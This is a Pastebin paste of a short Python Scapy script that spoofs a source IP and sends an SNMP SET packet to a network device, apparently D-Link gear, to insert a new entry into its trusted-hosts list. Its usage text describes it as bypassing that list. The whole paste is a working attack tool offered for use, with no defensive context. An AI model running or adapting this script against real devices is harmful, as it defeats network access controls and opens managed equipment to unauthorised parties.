Advertisement
Guest User

trhost_spoofip

a guest
Oct 31st, 2014
491
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.58 KB | None | 0 0
  1. #This utility requires an 'Scapy' installed
  2.  
  3. import sys
  4. from scapy.all import *
  5. conf.verb=0
  6.  
  7. if len(sys.argv) != 7:
  8.     print "Usage  : %s <target> <spoofed_ip> <community> <trusted_network_address> <trusted_network_mask> <entry_index>" % (sys.argv[0])
  9.     print "Example: %s 192.168.0.1 192.168.10.254 private 172.16.0.0 255.255.0.0 7" % (sys.argv[0])
  10.     print "\nUtility to create a trusted host, bypassing the trusted hosts list. You must known the correct SNMP write-community and know at least one address from the list of trusted hosts."
  11.     print "If you used a spoofed IP the output will be empty. It's a normal behavior."
  12.     sys.exit(1)
  13.  
  14. target_ip  = sys.argv[1]
  15. spoofed_ip = sys.argv[2]
  16. comm       = sys.argv[3]
  17. val1       = ASN1_IPADDRESS(sys.argv[4])
  18. val3       = ASN1_IPADDRESS(sys.argv[5])
  19. val2       = 4
  20. eind       = sys.argv[6]
  21.  
  22. oid1="1.3.6.1.4.1.171.12.1.2.10.1.1.2.%s" % (eind)
  23. oid2="1.3.6.1.4.1.171.12.1.2.10.1.1.3.%s" % (eind)
  24. oid3="1.3.6.1.4.1.171.12.1.2.10.1.1.4.%s" % (eind)
  25.  
  26. pkt=IP(dst=target_ip,src=spoofed_ip)/UDP(sport=7001,dport=161)/SNMP(version=1,community=comm,
  27. PDU=SNMPset(varbindlist=[
  28. SNMPvarbind(oid=ASN1_OID(oid1),value=val1),
  29. SNMPvarbind(oid=ASN1_OID(oid2),value=val2),
  30. SNMPvarbind(oid=ASN1_OID(oid3),value=val3)
  31. ]))
  32. res=sr1(pkt,timeout=1)
  33.  
  34. if res:
  35.     err  = res[SNMPresponse].error.val
  36.     erri = res[SNMPresponse].error_index.val
  37.     print "error: %s (%s)" % (err, erri)
  38.     for i in res[SNMPresponse].varbindlist:
  39.         oid  = i.oid.val
  40.         val  = i.value.val
  41.         print "oid: %s, val: %s" % (str(oid), str(val))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement